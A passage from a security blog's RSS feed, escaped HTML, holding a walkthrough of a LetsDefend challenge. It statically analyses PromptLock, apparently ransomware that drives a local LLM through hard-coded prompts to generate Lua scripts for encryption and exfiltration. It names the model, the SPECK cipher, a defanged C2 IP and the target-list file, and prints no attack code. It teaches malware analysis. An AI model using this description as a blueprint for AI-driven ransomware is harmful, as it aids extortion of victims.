&gt;https://app.letsdefend.io/challenge/obfuscated-javascript&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — about_WMI:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wmi?view=powershell-7.6&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wmi?view=powershell-7.6&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — msiexec:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  — AI-Powered Ransomware Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/</link>
            <pubDate>Sun, 29 Mar 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  — AI-Powered Ransomware Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-ai-powered-ransomware-challenge-walkthrough&#34;&gt;LetsDefend: AI-Powered Ransomware Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;reverse-engineering-promptlock-static-analysis-of-ai-powered-ransomware-using-ghidra-die-andpestudio&#34;&gt;Reverse Engineering PromptLock: Static Analysis of AI-Powered Ransomware Using Ghidra, DiE, and PeStudio&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ai-powered-ransomware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ai-powered-ransomware&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough. If you&amp;rsquo;ve stumbled across this blog while looking for a step-by-step guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ai-powered-ransomware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AI-Powered Ransomware&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; you&amp;rsquo;re in the right place. This week&amp;rsquo;s scenario pushes into unfamiliar territory for me, combining traditional malware analysis with local AI model abuse, and that makes it a great opportunity to slow down, ask questions, and learn together.&lt;/p&gt;&#xA;&lt;p&gt;In this challenge, we&amp;rsquo;re tasked with analyzing &lt;strong&gt;PromptLock&lt;/strong&gt;, a cross-platform ransomware sample written in &lt;strong&gt;Go&lt;/strong&gt; that leverages local large language models to generate malicious scripts on the fly.&lt;/p&gt;&#xA;&lt;p&gt;Because this is still a growth area for me, this walkthrough leans into methodical static analysis rather than a deep dive with hero-level reversing. Using tools like &lt;strong&gt;Ghidra&lt;/strong&gt;, &lt;strong&gt;Detect It Easy (DiE)&lt;/strong&gt;, and &lt;strong&gt;PeStudio&lt;/strong&gt;, we&amp;rsquo;ll pull apart the binary to answer focused questions about how PromptLock works. Along the way, there will absolutely be moments where we stumble or don&amp;rsquo;t take the most efficient path. That&amp;rsquo;s part of the learning process, and we&amp;rsquo;ll still get to the bottom of it.&lt;/p&gt;&#xA;&lt;p&gt;The goal here isn&amp;rsquo;t just to answer the challenge questions, but to build a repeatable workflow you can apply when you encounter unfamiliar malware techniques in the real world, especially as AI starts showing up in unexpected places. If this write-up helps you learn more about static analysis, local AI abuse, or simply gets you past a stumbling block of your own, I&amp;rsquo;m glad to help. Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are tasked with analyzing &lt;strong&gt;PromptLock&lt;/strong&gt;, the first AI-powered ransomware. This malware is written in Go and leverages local AI models to generate malicious scripts on-the-fly. PromptLock can generate scripts from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption. These scripts are cross-platform compatible, functioning on Windows, Linux and macOS.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-programming-language-do-the-malicious-scripts-generated-by-promptlock-use&#34;&gt;Question 1: What programming language do the malicious scripts generated by PromptLock use?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by extracting the challenge file, &lt;code&gt;promptlock.zip&lt;/code&gt;. That leaves us with a single executable:&lt;/p&gt;&#xA;&lt;p&gt;e24fe0dd0bf8d3943d9c4282f172746af6b0787539b371e6626bdb86605ccd70.exe&lt;/p&gt;&#xA;&lt;p&gt;To start the analysis, we turn to &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detect It Easy (DiE)&lt;/strong&gt;&lt;/a&gt;. &lt;em&gt;Detect It Easy&lt;/em&gt; is a popular file identification tool that&amp;rsquo;s especially useful early in a reverse engineering workflow. It can help identify compilers, metadata, and it also gives us access to plaintext strings that might expose clues about how the malware operates.&lt;/p&gt;&#xA;&lt;p&gt;Conveniently, &lt;em&gt;Detect It Easy&lt;/em&gt; is already installed on the LetsDefend VM under the &lt;em&gt;Tools&lt;/em&gt; folder. Once opened, select the PromptLock binary using the &lt;em&gt;File name&lt;/em&gt; selector to start the analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/46742ce30358d0bf76c28255f5f31130_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Selecting the Strings View&lt;/p&gt;&#xA;&lt;p&gt;Clicking the &lt;em&gt;Strings&lt;/em&gt; button lets us inspect human-readable data embedded in the binary. This is a smart starting point for a cursory review, especially when we&amp;rsquo;re trying to understand high-level capabilities without diving straight into disassembly.&lt;/p&gt;&#xA;&lt;p&gt;Since this is an introductory reverse-engineering challenge and I&amp;rsquo;m very much a beginner, let&amp;rsquo;s lean on the provided hint for a jump start.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1488px&#34; data-flex-grow=&#34;620&#34; height=&#34;129&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/56c488368102bb1ddb1f7bf4b749b070_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Perfect! That hint nudges us toward something visible in the strings output, so let&amp;rsquo;s search for &amp;ldquo;code generator&amp;quot;using DiE&amp;rsquo;s strings filter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/ac88d0aebe8d971a914de504d4eade7e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Searching strings and pasting into Notepad++&lt;/p&gt;&#xA;&lt;p&gt;The search returns a single match, but the raw output is hard to read in &lt;em&gt;DiE&lt;/em&gt;. Right-click the entry, copy the string, and paste it into &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Notepad++&lt;/strong&gt;&lt;/a&gt; or another text editor of your choice. Cleaning up the formatting makes the content much easier to understand.&lt;/p&gt;&#xA;&lt;p&gt;The prompt embedded in the binary instructs the LLM to behave as a &lt;em&gt;Lua code generator&lt;/em&gt;. That tells us the malicious scripts generated by PromptLock are written in &lt;strong&gt;Lua,&lt;/strong&gt; which answers &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Lua&lt;/em&gt; is lightweight, embeddable, and commonly used as a scripting language, which makes it a good choice for generating malicious scripts. Nice find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1097px&#34; data-flex-grow=&#34;457&#34; height=&#34;175&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/d2f30b84685224ac2dfe7939608eeef7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-role-is-assigned-to-the-llm-for-analyze-sensitive-files-and-assess-cyberphysical-threats&#34;&gt;Question 2: What role is assigned to the LLM for analyze sensitive files and assess cyberphysical threats?&#xA;&lt;/h3&gt;&lt;p&gt;We can approach &lt;strong&gt;Question 2&lt;/strong&gt; the same way we did in the previous question. This time, we&amp;rsquo;re looking for strings that describe a role assigned to the LLM through the embedded prompt.&lt;/p&gt;&#xA;&lt;p&gt;One keyword from the question stands out immediately: &lt;em&gt;cyberphysical&lt;/em&gt;. It&amp;rsquo;s weird and likely to appear verbatim in the prompt text. That makes it a good candidate for a strings search. Let&amp;rsquo;s try it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/483349259a2474c5de580f6f2a13e7c1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Searching strings and pasting into Notepad++&lt;/p&gt;&#xA;&lt;p&gt;Bingo! That keyword leads us directly to an associated prompt. As before, right-click the matching string, copy it, and paste it into &lt;strong&gt;Notepad++&lt;/strong&gt; or another text editor to make it easier to read.&lt;/p&gt;&#xA;&lt;p&gt;Once the formatting is cleaned up, the context is clear. The prompt explicitly instructs the LLM to take on the role of a &lt;strong&gt;cybersecurity expert&lt;/strong&gt; for responding to requests. Assigning a role this way is a common prompt-engineering technique, intended to guide the model toward more context-relevant output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1000px&#34; data-flex-grow=&#34;416&#34; height=&#34;192&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/2937a185ece8241a4555d759a14f336a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-go-version-was-used-to-build-the-promptlock-ransomware&#34;&gt;Question 3: What Go version was used to build the PromptLock ransomware?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s see if we can continue using &lt;strong&gt;Detect It Easy (DiE)&lt;/strong&gt; and its &lt;em&gt;Strings&lt;/em&gt; view to identify the &lt;strong&gt;Go&lt;/strong&gt; version used to build the PromptLock ransomware.&lt;/p&gt;&#xA;&lt;p&gt;To do that, we first need a rough understanding of how &lt;em&gt;Go&lt;/em&gt; versioning works. According to &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Go_%28programming_language%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wikipedia&lt;/a&gt;, &amp;ldquo;Go uses a_ &lt;code&gt;_go1.[major].[patch]_&lt;/code&gt; &lt;em&gt;versioning format, such as&lt;/em&gt; &lt;code&gt;_go1.26.0.&amp;quot;&lt;/code&gt; This is a helpful tip and suggests we can search for the string &lt;code&gt;go1&lt;/code&gt; in the binary to identify development artifacts.&lt;/p&gt;&#xA;&lt;p&gt;With that in mind, let&amp;rsquo;s search for &lt;code&gt;go1&lt;/code&gt; using DiE&amp;rsquo;s strings filter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/e8123b1566ea97db79bd4ffc92c5c332_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Finding the Go version string&lt;/p&gt;&#xA;&lt;p&gt;There are a bunch of hits for &lt;code&gt;go1&lt;/code&gt;, which isn&amp;rsquo;t too surprising. But, scanning through the results, one entry stands out, because it closely matches the expected &lt;code&gt;go1.X&lt;/code&gt; format used for version identifiers.&lt;/p&gt;&#xA;&lt;p&gt;That string indicates the specific &lt;em&gt;Go&lt;/em&gt; version (&lt;code&gt;_go1.24.5_&lt;/code&gt;) used to compile the binary, giving us the answer to &lt;strong&gt;Question 3&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1066px&#34; data-flex-grow=&#34;444&#34; height=&#34;180&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/04e8033965a5ebf3fe26cafbc0b78bde_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-ai-model-does-promptlock-use-locally-via-the-ollama-api-to-generate-malicious-scripts&#34;&gt;Question 4: Which AI model does PromptLock use locally via the Ollama API to generate malicious scripts?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we need to crank up the difficulty slightly. This time, there wasn&amp;rsquo;t an obvious or relevant string in &lt;em&gt;Detect It Easy&amp;rsquo;s&lt;/em&gt; &lt;em&gt;Strings&lt;/em&gt; view that pointed directly to the AI model used by the malware.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s our cue to shuffle the approach.&lt;/p&gt;&#xA;&lt;p&gt;For this task, let&amp;rsquo;s move over to &lt;a class=&#34;link&#34; href=&#34;https://github.com/nationalsecurityagency/ghidra&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Ghidra&lt;/strong&gt;&lt;/a&gt;, the popular open-source reverse engineering tool. From the &lt;em&gt;Tools&lt;/em&gt; folder, launch it by running &lt;code&gt;ghidraRun.bat&lt;/code&gt;, step through the setup prompts, and allow Ghidra to analyze the PromptLock binary. Once analysis completes, Ghidra asks whether we want to jump straight to the &lt;code&gt;main.main&lt;/code&gt; function, which is almost always a solid jumping-off point.&lt;/p&gt;&#xA;&lt;p&gt;With &lt;code&gt;main.main&lt;/code&gt; open, focus on the &lt;em&gt;Decompiler&lt;/em&gt; window on the right. Scrolling through the variables and references, we&amp;rsquo;ll stumble across a call to &lt;code&gt;main.model&lt;/code&gt; appearing on line 244. That sounds promising&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Go ahead and click &lt;code&gt;main.model&lt;/code&gt; to jump to its definition in the central, listing window.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/7e49a63de5241ff172cd3fb0b8981a89_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Identifying the AI model from the main.model function&lt;/p&gt;&#xA;&lt;p&gt;Here we find a string value assigned to &lt;code&gt;main.model.str&lt;/code&gt;: &lt;code&gt;gpt-oss:20b&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This tells us which AI model PromptLock is configured to use locally through &lt;strong&gt;Ollama:&lt;/strong&gt; &lt;em&gt;gpt-oss:20b&lt;/em&gt;. This is an &lt;strong&gt;OpenAI&lt;/strong&gt;-released**,** open-weight language model designed for running locally. That makes it a good fit for this scenario, as PromptLock seems to generate malicious scripts entirely on-host without relying on external connectivity or credentials.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1066px&#34; data-flex-grow=&#34;444&#34; height=&#34;180&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/da171080127825dfeb113e80e8041fdc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-hardcoded-ip-address-that-promptlock-connectsto&#34;&gt;Question 5: What is the hardcoded IP address that PromptLock connects to?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we need to identify a hard-coded IP address embedded in the PromptLock binary. While there are a few different ways to approach this using the tools we&amp;rsquo;ve already touched, let&amp;rsquo;s pivot and get some hands-on time with another option: &lt;a class=&#34;link&#34; href=&#34;https://www.winitor.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;pestudio&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;pestudio&lt;/em&gt; is a fantastic static malware analysis tool that can surface a wide range of useful indicators quickly and with very little setup. It&amp;rsquo;s especially good at identifying things like IP addresses, URLs, and suspicious strings without requiring deep reverse engineering. Conveniently, this tool is also already included on the LetsDefend VM, so let&amp;rsquo;s take advantage of that.&lt;/p&gt;&#xA;&lt;p&gt;Open &lt;em&gt;pestudio&lt;/em&gt; and load the PromptLock executable. After a short analysis period, the panels on the left begin to populate. The section we&amp;rsquo;re interested in first is &lt;em&gt;Indicators&lt;/em&gt; at the top.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/0687cbc235566a11327bb1d667d7fba4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;pestudio: Uncovering a hardcoded IP address&lt;/p&gt;&#xA;&lt;p&gt;This gives us a fast way to surface potential network indicators that we can later pivot on using threat intelligence or additional dynamic analysis. In this case, the URL pattern detected by &lt;em&gt;pestudio&lt;/em&gt; resolves to the hardcoded IP address we&amp;rsquo;re looking for: &lt;code&gt;172[.]42[.]0[.]253&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1005px&#34; data-flex-grow=&#34;418&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/9c24115fcf89e1ad2164288527509f77_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-which-encryption-algorithm-does-the-promptlock-ransomware-use-for-file-encryption&#34;&gt;Question 6: Which encryption algorithm does the PromptLock ransomware use for file encryption?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, let&amp;rsquo;s jump back to &lt;em&gt;Detect It Easy&lt;/em&gt; and take the path of least resistance by searching for a string related to encryption functionality.&lt;/p&gt;&#xA;&lt;p&gt;A good starting point here is searching for the string &lt;code&gt;&amp;quot;encrypt&amp;quot;&lt;/code&gt;. That returns a large number of results, which isn&amp;rsquo;t surprising for a ransomware sample. Fortunately, near the top of the list, there&amp;rsquo;s something immediately conspicuous: a prompt instruction that explicitly references the &lt;em&gt;SPECK&lt;/em&gt; 128-bit encryption algorithm. You might even notice a small spoiler for &lt;strong&gt;Question 8&lt;/strong&gt; hiding nearby.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/afa38bf803aabe4274dc95d0cbcbb4a9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Locating the ransomware encryption algorithm string&lt;/p&gt;&#xA;&lt;p&gt;That string gives us what we need to answer &lt;strong&gt;Question 6&lt;/strong&gt;. PromptLock uses &lt;strong&gt;SPECK&lt;/strong&gt; 128-bit for encryption.&lt;/p&gt;&#xA;&lt;p&gt;The use of &lt;em&gt;SPECK&lt;/em&gt; seems consistent with how this malware approaches its overall design. According to &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Speck_%28cipher%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;SPECK&lt;/em&gt; is a &amp;quot; # &amp;ldquo;family of lightweight block ciphers&amp;rdquo;, making it practical for ransomware that prioritizes cross-platform portability and low overhead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1049px&#34; data-flex-grow=&#34;437&#34; height=&#34;183&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/d0ea537ede74f32c869fde464b939e53_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-bitcoin-address-embedded-in-thebinary&#34;&gt;Question 7: What is the Bitcoin address embedded in the binary?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 7&lt;/strong&gt;, we can take a straightforward approach by adjusting our search of the embedded strings for &lt;code&gt;&amp;quot;bitcoin&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/d9f8b0c2d5d730324d2dc5776946f37f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Discovering the attacker&amp;rsquo;s Bitcoin wallet address&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s a quick payoff. Take a look at the first entry and copy it and paste it into a text editor for easier reading. From there, we&amp;rsquo;ll find that the prompt instructs the LLM to include a specific &lt;strong&gt;Bitcoin&lt;/strong&gt; address in the generated ransom note. Nice!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1026px&#34; data-flex-grow=&#34;427&#34; height=&#34;187&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/3280190803bbe5ddfe3b969491c1f8a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-file-name-contains-the-list-of-files-toencrypt&#34;&gt;Question 8: What is the file name contains the list of files to encrypt?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question. Remember back in &lt;strong&gt;Question 7&lt;/strong&gt; when I mentioned you might have spotted a spoiler for what was coming next?&lt;/p&gt;&#xA;&lt;p&gt;If we look closely at the strings output again, specifically at line 11359, right below the one we used to answer &lt;strong&gt;Question 7&lt;/strong&gt;, we&amp;rsquo;ll find another useful instruction. This time, the prompt references a file named &lt;code&gt;target_file_list.log&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The instructions indicate that this file is used to identify the encryption targets, telling PromptLock which files it should encrypt. That makes &lt;code&gt;target_file_list.log&lt;/code&gt; the answer to &lt;strong&gt;Question 8&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/e3532889fb9acf6dc9826b010232057b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Finding the target list file name string&lt;/p&gt;&#xA;&lt;p&gt;This is a particularly valuable piece of evidence from a defensive perspective. Knowing the file name that contains the list of targets could help us better understand the scope of impact on a victim device, recover during an investigation, and build more precise detections.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/bbedc6d361f977477bf294f6598c56e9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;451px&#34; data-flex-grow=&#34;188&#34; height=&#34;425&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/c92669e56343983a7305cd59babe90ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    